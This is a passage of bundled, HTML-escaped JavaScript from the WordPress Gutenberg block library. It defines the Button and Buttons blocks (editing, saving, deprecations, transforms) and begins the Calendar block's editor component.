      placeholder: placeholder2,
      rel,
      style: style2,
      text,
      url,
      width,
      metadata
    } = attributes2;
    useDeprecatedTextAlign(props);
    const TagName2 = tagName || &quot;a&quot;;
    function onKeyDown(event) {
      if (import_keycodes.isKeyboardEvent.primary(event, &quot;k&quot;)) {
        startEditing(event);
      } else if (import_keycodes.isKeyboardEvent.primaryShift(event, &quot;k&quot;)) {
        unlink();
        richTextRef.current?.focus();
      }
    }
    const [popoverAnchor, setPopoverAnchor] = (0, import_element10.useState)(null);
    const borderProps = (0, import_block_editor21.__experimentalUseBorderProps)(attributes2);
    const colorProps = (0, import_block_editor21.__experimentalUseColorProps)(attributes2);
    const spacingProps = (0, import_block_editor21.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const shadowProps = (0, import_block_editor21.__experimentalGetShadowClassesAndStyles)(attributes2);
    const ref = (0, import_element10.useRef)();
    const richTextRef = (0, import_element10.useRef)();
    const blockProps = (0, import_block_editor21.useBlockProps)({
      ref: (0, import_compose8.useMergeRefs)([setPopoverAnchor, ref]),
      onKeyDown
    });
    const blockEditingMode = (0, import_block_editor21.useBlockEditingMode)();
    const [isEditingURL, setIsEditingURL] = (0, import_element10.useState)(false);
    const isURLSet = !!url;
    const opensInNewTab = linkTarget === NEW_TAB_TARGET;
    const nofollow = !!rel?.includes(NOFOLLOW_REL);
    const isLinkTag = &quot;a&quot; === TagName2;
    const {
      createPageEntity,
      userCanCreatePages,
      lockUrlControls = false
    } = (0, import_data11.useSelect)(
      (select9) =&gt; {
        if (!isSelected) {
          return {};
        }
        const _settings = select9(import_block_editor21.store).getSettings();
        const blockBindingsSource = (0, import_blocks7.getBlockBindingsSource)(
          metadata?.bindings?.url?.source
        );
        return {
          createPageEntity: _settings.__experimentalCreatePageEntity,
          userCanCreatePages: _settings.__experimentalUserCanCreatePages,
          lockUrlControls: !!metadata?.bindings?.url &amp;&amp; !blockBindingsSource?.canUserEditValue?.({
            select: select9,
            context,
            args: metadata?.bindings?.url?.args
          })
        };
      },
      [context, isSelected, metadata?.bindings?.url]
    );
    async function handleCreate(pageTitle) {
      const page = await createPageEntity({
        title: pageTitle,
        status: &quot;draft&quot;
      });
      return {
        id: page.id,
        type: page.type,
        title: page.title.rendered,
        url: page.link,
        kind: &quot;post-type&quot;
      };
    }
    function createButtonText(searchTerm) {
      return (0, import_element10.createInterpolateElement)(
        (0, import_i18n13.sprintf)(
          /* translators: %s: search term. */
          (0, import_i18n13.__)(&quot;Create page: &lt;mark&gt;%s&lt;/mark&gt;&quot;),
          searchTerm
        ),
        { mark: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(&quot;mark&quot;, {}) }
      );
    }
    function startEditing(event) {
      event.preventDefault();
      setIsEditingURL(true);
    }
    function unlink() {
      setAttributes({
        url: void 0,
        linkTarget: void 0,
        rel: void 0
      });
      setIsEditingURL(false);
    }
    (0, import_element10.useEffect)(() =&gt; {
      if (!isSelected) {
        setIsEditingURL(false);
      }
    }, [isSelected]);
    const linkValue = (0, import_element10.useMemo)(
      () =&gt; ({ url, opensInNewTab, nofollow }),
      [url, opensInNewTab, nofollow]
    );
    const useEnterRef = useEnter({ content: text, clientId });
    const mergedRef = (0, import_compose8.useMergeRefs)([useEnterRef, richTextRef]);
    const [fluidTypographySettings, layout] = (0, import_block_editor21.useSettings)(
      &quot;typography.fluid&quot;,
      &quot;layout&quot;
    );
    const typographyProps = (0, import_block_editor21.getTypographyClassesAndStyles)(attributes2, {
      typography: {
        fluid: fluidTypographySettings
      },
      layout: {
        wideSize: layout?.wideSize
      }
    });
    const hasNonContentControls = blockEditingMode === &quot;default&quot;;
    const hasBlockControls = hasNonContentControls || isLinkTag &amp;&amp; !lockUrlControls;
    return /* @__PURE__ */ (0, import_jsx_runtime176.jsxs)(import_jsx_runtime176.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        &quot;div&quot;,
        {
          ...blockProps,
          className: clsx_default(blockProps.className, {
            [`has-custom-width wp-block-button__width-${width}`]: width
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
            import_block_editor21.RichText,
            {
              ref: mergedRef,
              &quot;aria-label&quot;: (0, import_i18n13.__)(&quot;Button text&quot;),
              placeholder: placeholder2 || (0, import_i18n13.__)(&quot;Add text\u2026&quot;),
              value: text,
              onChange: (value) =&gt; setAttributes({
                text: removeAnchorTag(value)
              }),
              withoutInteractiveFormatting: true,
              className: clsx_default(
                className,
                &quot;wp-block-button__link&quot;,
                colorProps.className,
                borderProps.className,
                typographyProps.className,
                {
                  // For backwards compatibility add style that isn&#039;t
                  // provided via block support.
                  &quot;no-border-radius&quot;: style2?.border?.radius === 0,
                  [`has-custom-font-size`]: blockProps.style.fontSize
                },
                (0, import_block_editor21.__experimentalGetElementClassName)(&quot;button&quot;)
              ),
              style: {
                ...borderProps.style,
                ...colorProps.style,
                ...spacingProps.style,
                ...shadowProps.style,
                ...typographyProps.style,
                writingMode: void 0
              },
              onReplace,
              onMerge: mergeBlocks,
              identifier: &quot;text&quot;
            }
          )
        }
      ),
      hasBlockControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(import_block_editor21.BlockControls, { group: &quot;block&quot;, children: isLinkTag &amp;&amp; !lockUrlControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        import_components10.ToolbarButton,
        {
          name: &quot;link&quot;,
          icon: !isURLSet ? link_default : link_off_default,
          title: !isURLSet ? (0, import_i18n13.__)(&quot;Link&quot;) : (0, import_i18n13.__)(&quot;Unlink&quot;),
          shortcut: !isURLSet ? import_keycodes.displayShortcut.primary(&quot;k&quot;) : import_keycodes.displayShortcut.primaryShift(&quot;k&quot;),
          onClick: !isURLSet ? startEditing : unlink,
          isActive: isURLSet
        }
      ) }),
      isLinkTag &amp;&amp; isSelected &amp;&amp; (isEditingURL || isURLSet) &amp;&amp; !lockUrlControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        import_components10.Popover,
        {
          placement: &quot;bottom&quot;,
          onClose: () =&gt; {
            setIsEditingURL(false);
            richTextRef.current?.focus();
          },
          anchor: popoverAnchor,
          focusOnMount: isEditingURL ? &quot;firstElement&quot; : false,
          __unstableSlotName: &quot;__unstable-block-tools-after&quot;,
          shift: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
            import_block_editor21.LinkControl,
            {
              value: linkValue,
              onChange: ({
                url: newURL,
                opensInNewTab: newOpensInNewTab,
                nofollow: newNofollow
              }) =&gt; setAttributes(
                getUpdatedLinkAttributes({
                  rel,
                  url: newURL,
                  opensInNewTab: newOpensInNewTab,
                  nofollow: newNofollow
                })
              ),
              onRemove: () =&gt; {
                unlink();
                richTextRef.current?.focus();
              },
              forceIsEditingLink: isEditingURL,
              settings: LINK_SETTINGS,
              createSuggestion: createPageEntity &amp;&amp; handleCreate,
              withCreateSuggestion: userCanCreatePages,
              createSuggestionButtonText: createButtonText
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(import_block_editor21.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        WidthPanel,
        {
          selectedWidth: width,
          setAttributes
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime176.jsxs)(import_block_editor21.InspectorControls, { group: &quot;advanced&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
          HTMLElementControl,
          {
            tagName,
            onChange: (value) =&gt; setAttributes({ tagName: value }),
            options: [
              { label: (0, import_i18n13.__)(&quot;Default (&lt;a&gt;)&quot;), value: &quot;a&quot; },
              { label: &quot;&lt;button&gt;&quot;, value: &quot;button&quot; }
            ]
          }
        ),
        isLinkTag &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
          import_components10.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n13.__)(&quot;Link relation&quot;),
            help: (0, import_element10.createInterpolateElement)(
              (0, import_i18n13.__)(
                &quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;
              ),
              {
                a: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(import_components10.ExternalLink, { href: &quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot; })
              }
            ),
            value: rel || &quot;&quot;,
            onChange: (newRel) =&gt; setAttributes({ rel: newRel })
          }
        )
      ] })
    ] });
  }
  var edit_default2 = ButtonEdit;

  // packages/block-library/build-module/button/block.json
  var block_default10 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/button&quot;,
    title: &quot;Button&quot;,
    category: &quot;design&quot;,
    parent: [&quot;core/buttons&quot;],
    description: &quot;Prompt visitors to take action with a button-style link.&quot;,
    keywords: [&quot;link&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        enum: [&quot;a&quot;, &quot;button&quot;],
        default: &quot;a&quot;
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;button&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a,button&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      text: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;a,button&quot;,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;target&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;rel&quot;,
        role: &quot;content&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      }
    },
    supports: {
      anchor: true,
      splitting: true,
      align: false,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          &quot;fontSize&quot;,
          &quot;lineHeight&quot;,
          &quot;textAlign&quot;,
          &quot;fontFamily&quot;,
          &quot;fontWeight&quot;,
          &quot;fontStyle&quot;,
          &quot;textTransform&quot;,
          &quot;textDecoration&quot;,
          &quot;letterSpacing&quot;
        ],
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      shadow: {
        __experimentalSkipSerialization: true
      },
      spacing: {
        __experimentalSkipSerialization: true,
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    styles: [
      { name: &quot;fill&quot;, label: &quot;Fill&quot;, isDefault: true },
      { name: &quot;outline&quot;, label: &quot;Outline&quot; }
    ],
    editorStyle: &quot;wp-block-button-editor&quot;,
    style: &quot;wp-block-button&quot;,
    selectors: {
      root: &quot;.wp-block-button .wp-block-button__link&quot;,
      typography: {
        writingMode: &quot;.wp-block-button&quot;
      }
    }
  };

  // packages/block-library/build-module/button/save.mjs
  var import_block_editor22 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime177 = __toESM(require_jsx_runtime(), 1);
  function save6({ attributes: attributes2, className }) {
    const {
      tagName,
      type,
      fontSize,
      linkTarget,
      rel,
      style: style2,
      text,
      title,
      url,
      width
    } = attributes2;
    const TagName2 = tagName || &quot;a&quot;;
    const isButtonTag = &quot;button&quot; === TagName2;
    const buttonType = type || &quot;button&quot;;
    const borderProps = (0, import_block_editor22.__experimentalGetBorderClassesAndStyles)(attributes2);
    const colorProps = (0, import_block_editor22.__experimentalGetColorClassesAndStyles)(attributes2);
    const spacingProps = (0, import_block_editor22.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const shadowProps = (0, import_block_editor22.__experimentalGetShadowClassesAndStyles)(attributes2);
    const typographyProps = (0, import_block_editor22.getTypographyClassesAndStyles)(attributes2);
    const buttonClasses = clsx_default(
      &quot;wp-block-button__link&quot;,
      colorProps.className,
      borderProps.className,
      typographyProps.className,
      {
        // For backwards compatibility add style that isn&#039;t provided via
        // block support.
        &quot;no-border-radius&quot;: style2?.border?.radius === 0,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      },
      (0, import_block_editor22.__experimentalGetElementClassName)(&quot;button&quot;)
    );
    const buttonStyle = {
      ...borderProps.style,
      ...colorProps.style,
      ...spacingProps.style,
      ...shadowProps.style,
      ...typographyProps.style,
      writingMode: void 0
    };
    const wrapperClasses = clsx_default(className, {
      [`has-custom-width wp-block-button__width-${width}`]: width
    });
    return /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(&quot;div&quot;, { ...import_block_editor22.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(
      import_block_editor22.RichText.Content,
      {
        tagName: TagName2,
        type: isButtonTag ? buttonType : null,
        className: buttonClasses,
        href: isButtonTag ? null : url,
        title,
        style: buttonStyle,
        value: text,
        target: isButtonTag ? null : linkTarget,
        rel: isButtonTag ? null : rel
      }
    ) });
  }

  // packages/block-library/build-module/button/index.mjs
  var { fieldsKey: fieldsKey2, formKey: formKey2 } = unlock(import_blocks8.privateApis);
  var { name: name9 } = block_default10;
  var settings9 = {
    icon: button_default,
    example: {
      attributes: {
        className: &quot;is-style-fill&quot;,
        text: (0, import_i18n14.__)(&quot;Call to action&quot;)
      }
    },
    edit: edit_default2,
    save: save6,
    deprecated: deprecated_default3,
    merge: (a2, { text = &quot;&quot; }) =&gt; ({
      ...a2,
      text: (a2.text || &quot;&quot;) + text
    }),
    __experimentalLabel(attributes2, { context }) {
      const { text } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasContent = text?.trim().length &gt; 0;
      if (context === &quot;list-view&quot; &amp;&amp; (customName || hasContent)) {
        return customName || text;
      }
      if (context === &quot;breadcrumb&quot; &amp;&amp; customName) {
        return customName;
      }
    }
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings9[fieldsKey2] = [
      {
        id: &quot;text&quot;,
        label: (0, import_i18n14.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      },
      {
        id: &quot;link&quot;,
        label: (0, import_i18n14.__)(&quot;Link&quot;),
        type: &quot;url&quot;,
        Edit: &quot;link&quot;,
        // TODO: replace with custom component
        getValue: ({ item }) =&gt; ({
          url: item.url,
          rel: item.rel,
          linkTarget: item.linkTarget
        }),
        setValue: ({ value }) =&gt; ({
          url: value.url,
          rel: value.rel,
          linkTarget: value.linkTarget
        })
      }
    ];
    settings9[formKey2] = {
      fields: [&quot;text&quot;, &quot;link&quot;]
    };
  }
  var init9 = () =&gt; initBlock({ name: name9, metadata: block_default10, settings: settings9 });

  // packages/block-library/build-module/buttons/index.mjs
  var buttons_exports = {};
  __export(buttons_exports, {
    init: () =&gt; init10,
    metadata: () =&gt; block_default11,
    name: () =&gt; name10,
    settings: () =&gt; settings10
  });
  var import_i18n15 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/buttons/deprecated.mjs
  var import_block_editor23 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime178 = __toESM(require_jsx_runtime(), 1);
  var migrateWithLayout = (attributes2) =&gt; {
    if (!!attributes2.layout) {
      return attributes2;
    }
    const { contentJustification, orientation, ...updatedAttributes } = attributes2;
    if (contentJustification || orientation) {
      Object.assign(updatedAttributes, {
        layout: {
          type: &quot;flex&quot;,
          ...contentJustification &amp;&amp; {
            justifyContent: contentJustification
          },
          ...orientation &amp;&amp; { orientation }
        }
      });
    }
    return updatedAttributes;
  };
  var deprecated3 = [
    {
      attributes: {
        contentJustification: {
          type: &quot;string&quot;
        },
        orientation: {
          type: &quot;string&quot;,
          default: &quot;horizontal&quot;
        }
      },
      supports: {
        anchor: true,
        align: [&quot;wide&quot;, &quot;full&quot;],
        __experimentalExposeControlsToChildren: true,
        spacing: {
          blockGap: true,
          margin: [&quot;top&quot;, &quot;bottom&quot;],
          __experimentalDefaultControls: {
            blockGap: true
          }
        }
      },
      isEligible: ({ contentJustification, orientation }) =&gt; !!contentJustification || !!orientation,
      migrate: migrateWithLayout,
      save({ attributes: { contentJustification, orientation } }) {
        return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor23.useBlockProps.save({
              className: clsx_default({
                [`is-content-justification-${contentJustification}`]: contentJustification,
                &quot;is-vertical&quot;: orientation === &quot;vertical&quot;
              })
            }),
            children: /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(import_block_editor23.InnerBlocks.Content, {})
          }
        );
      }
    },
    {
      supports: {
        align: [&quot;center&quot;, &quot;left&quot;, &quot;right&quot;],
        anchor: true
      },
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(&quot;div&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(import_block_editor23.InnerBlocks.Content, {}) });
      },
      isEligible({ align }) {
        return align &amp;&amp; [&quot;center&quot;, &quot;left&quot;, &quot;right&quot;].includes(align);
      },
      migrate(attributes2) {
        return migrateWithLayout({
          ...attributes2,
          align: void 0,
          // Floating Buttons blocks shouldn&#039;t have been supported in the
          // first place. Most users using them probably expected them to
          // act like content justification controls, so these blocks are
          // migrated to use content justification.
          // As for center-aligned Buttons blocks, the content justification
          // equivalent will create an identical end result in most cases.
          contentJustification: attributes2.align
        });
      }
    }
  ];
  var deprecated_default4 = deprecated3;

  // packages/block-library/build-module/buttons/transforms.mjs
  var import_blocks10 = __toESM(require_blocks(), 1);
  var import_rich_text = __toESM(require_rich_text(), 1);

  // packages/block-library/build-module/utils/get-transformed-attributes.mjs
  var import_blocks9 = __toESM(require_blocks(), 1);
  function getTransformedAttributes(attributes2, newBlockName, bindingsCallback = null) {
    if (!attributes2) {
      return void 0;
    }
    const newBlockType = (0, import_blocks9.getBlockType)(newBlockName);
    if (!newBlockType) {
      return void 0;
    }
    const transformedAttributes = {};
    if ((0, import_blocks9.hasBlockSupport)(newBlockType, &quot;anchor&quot;) &amp;&amp; attributes2.anchor) {
      transformedAttributes.anchor = attributes2.anchor;
    }
    if ((0, import_blocks9.hasBlockSupport)(newBlockType, &quot;ariaLabel&quot;) &amp;&amp; attributes2.ariaLabel) {
      transformedAttributes.ariaLabel = attributes2.ariaLabel;
    }
    if (attributes2.metadata) {
      const transformedMetadata = [];
      if (bindingsCallback) {
        transformedMetadata.push(&quot;id&quot;, &quot;bindings&quot;);
      }
      if (transformedMetadata.length &gt; 0) {
        const newMetadata = Object.entries(attributes2.metadata).reduce(
          (obj, [prop, value]) =&gt; {
            if (!transformedMetadata.includes(prop)) {
              return obj;
            }
            obj[prop] = prop === &quot;bindings&quot; ? bindingsCallback(value) : value;
            return obj;
          },
          {}
        );
        if (Object.keys(newMetadata).length &gt; 0) {
          transformedAttributes.metadata = newMetadata;
        }
      }
    }
    if (Object.keys(transformedAttributes).length === 0) {
      return void 0;
    }
    return transformedAttributes;
  }

  // packages/block-library/build-module/buttons/transforms.mjs
  var transforms2 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/button&quot;],
        transform: (buttons) =&gt; (
          // Creates the buttons block.
          (0, import_blocks10.createBlock)(
            &quot;core/buttons&quot;,
            {},
            // Loop the selected buttons.
            buttons.map(
              (attributes2) =&gt; (
                // Create singular button in the buttons block.
                (0, import_blocks10.createBlock)(&quot;core/button&quot;, attributes2)
              )
            )
          )
        )
      },
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/paragraph&quot;],
        transform: (buttons) =&gt; (
          // Creates the buttons block.
          (0, import_blocks10.createBlock)(
            &quot;core/buttons&quot;,
            {},
            // Loop the selected buttons.
            buttons.map((attributes2) =&gt; {
              const { content } = attributes2;
              const element = (0, import_rich_text.__unstableCreateElement)(document, content);
              const text = element.innerText || &quot;&quot;;
              const link = element.querySelector(&quot;a&quot;);
              const url = link?.getAttribute(&quot;href&quot;);
              return (0, import_blocks10.createBlock)(&quot;core/button&quot;, {
                ...attributes2,
                ...getTransformedAttributes(
                  attributes2,
                  &quot;core/button&quot;,
                  ({ content: contentBinding }) =&gt; ({
                    text: contentBinding
                  })
                ),
                text,
                url
              });
            })
          )
        ),
        isMatch: (paragraphs) =&gt; {
          return paragraphs.every((attributes2) =&gt; {
            const element = (0, import_rich_text.__unstableCreateElement)(
              document,
              attributes2.content
            );
            const text = element.innerText || &quot;&quot;;
            const links = element.querySelectorAll(&quot;a&quot;);
            return text.length &lt;= 30 &amp;&amp; links.length &lt;= 1;
          });
        }
      }
    ]
  };
  var transforms_default2 = transforms2;

  // packages/block-library/build-module/buttons/edit.mjs
  var import_block_editor24 = __toESM(require_block_editor(), 1);
  var import_data12 = __toESM(require_data(), 1);
  var import_blocks11 = __toESM(require_blocks(), 1);
  var import_jsx_runtime179 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK = {
    name: &quot;core/button&quot;,
    attributesToCopy: [
      &quot;backgroundColor&quot;,
      &quot;border&quot;,
      &quot;className&quot;,
      &quot;fontFamily&quot;,
      &quot;fontSize&quot;,
      &quot;gradient&quot;,
      &quot;style&quot;,
      &quot;textColor&quot;,
      &quot;width&quot;
    ]
  };
  function ButtonsEdit({ attributes: attributes2, className }) {
    const { fontSize, layout, style: style2 } = attributes2;
    const blockProps = (0, import_block_editor24.useBlockProps)({
      className: clsx_default(className, {
        &quot;has-custom-font-size&quot;: fontSize || style2?.typography?.fontSize
      })
    });
    const { hasButtonVariations } = (0, import_data12.useSelect)((select9) =&gt; {
      const buttonVariations = select9(import_blocks11.store).getBlockVariations(
        &quot;core/button&quot;,
        &quot;inserter&quot;
      );
      return {
        hasButtonVariations: buttonVariations.length &gt; 0
      };
    }, []);
    const innerBlocksProps = (0, import_block_editor24.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK,
      // This check should be handled by the `Inserter` internally to be consistent across all blocks that use it.
      directInsert: !hasButtonVariations,
      template: [[&quot;core/button&quot;]],
      templateInsertUpdatesSelection: true,
      orientation: layout?.orientation ?? &quot;horizontal&quot;
    });
    return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }
  var edit_default3 = ButtonsEdit;

  // packages/block-library/build-module/buttons/block.json
  var block_default11 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/buttons&quot;,
    title: &quot;Buttons&quot;,
    category: &quot;design&quot;,
    allowedBlocks: [&quot;core/button&quot;],
    description: &quot;Prompt visitors to take action with a group of button-style links.&quot;,
    keywords: [&quot;link&quot;],
    textdomain: &quot;default&quot;,
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      __experimentalExposeControlsToChildren: true,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      spacing: {
        blockGap: [&quot;horizontal&quot;, &quot;vertical&quot;],
        padding: true,
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: &quot;flex&quot;
        }
      },
      interactivity: {
        clientNavigation: true
      },
      listView: true,
      contentRole: true
    },
    editorStyle: &quot;wp-block-buttons-editor&quot;,
    style: &quot;wp-block-buttons&quot;
  };

  // packages/block-library/build-module/buttons/save.mjs
  var import_block_editor25 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime180 = __toESM(require_jsx_runtime(), 1);
  function save7({ attributes: attributes2, className }) {
    const { fontSize, style: style2 } = attributes2;
    const blockProps = import_block_editor25.useBlockProps.save({
      className: clsx_default(className, {
        &quot;has-custom-font-size&quot;: fontSize || style2?.typography?.fontSize
      })
    });
    const innerBlocksProps = import_block_editor25.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/buttons/index.mjs
  var { name: name10 } = block_default11;
  var settings10 = {
    icon: buttons_default,
    example: {
      attributes: {
        layout: {
          type: &quot;flex&quot;,
          justifyContent: &quot;center&quot;
        }
      },
      innerBlocks: [
        {
          name: &quot;core/button&quot;,
          attributes: { text: (0, import_i18n15.__)(&quot;Find out more&quot;) }
        },
        {
          name: &quot;core/button&quot;,
          attributes: { text: (0, import_i18n15.__)(&quot;Contact us&quot;) }
        }
      ]
    },
    deprecated: deprecated_default4,
    transforms: transforms_default2,
    edit: edit_default3,
    save: save7
  };
  var init10 = () =&gt; initBlock({ name: name10, metadata: block_default11, settings: settings10 });

  // packages/block-library/build-module/calendar/index.mjs
  var calendar_exports = {};
  __export(calendar_exports, {
    init: () =&gt; init11,
    metadata: () =&gt; block_default12,
    name: () =&gt; name11,
    settings: () =&gt; settings11
  });

  // packages/block-library/build-module/calendar/block.json
  var block_default12 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/calendar&quot;,
    title: &quot;Calendar&quot;,
    category: &quot;widgets&quot;,
    description: &quot;A calendar of your site\u2019s posts.&quot;,
    keywords: [&quot;posts&quot;, &quot;archive&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      month: {
        type: &quot;integer&quot;
      },
      year: {
        type: &quot;integer&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      color: {
        link: true,
        __experimentalSkipSerialization: [&quot;text&quot;, &quot;background&quot;],
        __experimentalDefaultControls: {
          background: true,
          text: true
        },
        __experimentalSelector: &quot;table, th&quot;
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-calendar&quot;
  };

  // packages/block-library/build-module/calendar/edit.mjs
  var import_components11 = __toESM(require_components(), 1);
  var import_data13 = __toESM(require_data(), 1);
  var import_server_side_render3 = __toESM(require_server_side_render(), 1);
  var import_block_editor26 = __toESM(require_block_editor(), 1);
  var import_core_data5 = __toESM(require_core_data(), 1);
  var import_i18n16 = __toESM(require_i18n(), 1);
  var import_compose9 = __toESM(require_compose(), 1);
  var import_jsx_runtime181 = __toESM(require_jsx_runtime(), 1);
  var getYearMonth = memize((date) =&gt; {
    if (!date) {
      return {};
    }
    const dateObj = new Date(date);
    return {
      year: dateObj.getFullYear(),
      month: dateObj.getMonth() + 1
    };
  });
  function CalendarEdit({ attributes: attributes2, name: name123 }) {
    const { date, hasPosts, hasPostsResolved } = (0, import_data13.useSelect)((select9) =&gt; {
      const { getEntityRecords, hasFinishedResolution } = select9(import_core_data5.store);
      const singlePublishedPostQuery = {
        status: &quot;publish&quot;,
        per_page: 1
      };
      const posts = getEntityRecords(
        &quot;postType&quot;,
        &quot;post&quot;,
        singlePublishedPostQuery
      );
      const postsResolved = hasFinishedResolution(&quot;getEntityRecords&quot;, [
        &quot;postType&quot;,
        &quot;post&quot;,
        singlePublishedPostQuery
      ]);
      let _date;
      const editorSelectors = select9(&quot;core/editor&quot;);
      if (editorSelectors) {
        const postType = editorSelectors.getEditedPostAttribute(&quot;type&quot;);
        if (postType === &quot;post&quot;) {
          _date = editorSelectors.getEditedPostAttribute(&quot;date&quot;);
        }
      }
      return {
        date: _date,
        hasPostsResolved: postsResolved,
        hasPosts: postsResolved &amp;&amp; posts?.length === 1
      };
    }, []);
    const { content, status, error } = (0, import_server_side_render3.useServerSideRender)({
      attributes: {
        ...attributes2,
        ...getYearMonth(date)
      },
      block: name123
    });
    const disabledRef = (0, import_compose9.useDisabled)();
    const blockProps = (0, import_block_editor26.useBlockProps)({ ref: disabledRef });
    if (!hasPosts) {
      return /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_components11.Placeholder, { icon: calendar_default, label: (0, import_i18n16.__)(&quot;Calendar&quot;), children: !hasPostsResolved ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_components11.Spinner, {}) : (0, import_i18n16.__)(&quot;No published posts found.&quot;) }) });
    }
